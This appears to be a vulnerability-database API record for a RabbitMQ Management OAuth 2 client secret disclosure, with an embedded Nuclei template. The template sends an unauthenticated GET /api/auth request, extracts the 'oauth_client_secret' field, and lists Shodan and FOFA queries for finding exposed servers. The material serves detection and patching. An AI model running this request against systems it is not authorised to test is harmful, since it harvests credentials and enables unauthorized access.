{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-57219/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-57219/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-57219/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-57219/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-57219/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-57219"},"sightings":{"href":"/api/v1/sightings/cve-2026-57219"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-57219.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-57219\n\ninfo:\n  name: RabbitMQ Management - OAuth 2 Client Secret Disclosure\n  author: aryu-ru\n  severity: high\n  description: |\n    RabbitMQ < 3.13.15, 4.0.20, 4.1.11, and 4.2.6 contains an information disclosure caused by the obsolete GET /api/auth endpoint exposing OAuth 2 client secrets when management.oauth_client_secret is configured, letting unauthenticated attackers access sensitive credentials, exploit requires management plugin and OAuth configuration enabled.\n  impact: |\n    Unauthenticated attackers can access OAuth 2 client secrets, leading to credential exposure and potential unauthorized access.\n  remediation: |\n    Update to versions 3.13.15, 4.0.20, 4.1.11, or 4.2.6 or later.\n  reference:\n    - https://github.com/rabbitmq/rabbitmq-server/security/advisories/GHSA-pj24-8j6m-vq9q\n    - https://github.com/rabbitmq/rabbitmq-server/commit/98b1daf740237c85941e8addcbea6e74f4a2743c\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-57219\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-57219\n    epss-score: 0.01988\n    epss-percentile: 0.79754\n    cwe-id: CWE-522\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: broadcom\n    product: rabbitmq_server\n    shodan-query: http.title:\"RabbitMQ Management\"\n    fofa-query: title=\"RabbitMQ Management\"\n  tags: cve,cve2026,rabbitmq,broadcom,oauth,exposure,unauth\n\nhttp:\n  - raw:\n      - |\n        GET /api/auth HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, \"application/json\")\n          - contains_all(body, \"oauth_enabled\", \"oauth_client_secret\")\n        condition: and\n\n    extractors:\n      - type: json\n        part: body\n        json:\n          - '.oauth_client_secret'\n# digest: 490a0046304402203de2c6fcfb72ddacee3deb943c41e67589a008e7a6b28926a238f2195323fad602202437e0e39e203056b49b51c0183641ceec466a37b10e9eed28596c0df16128c9:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-57219"}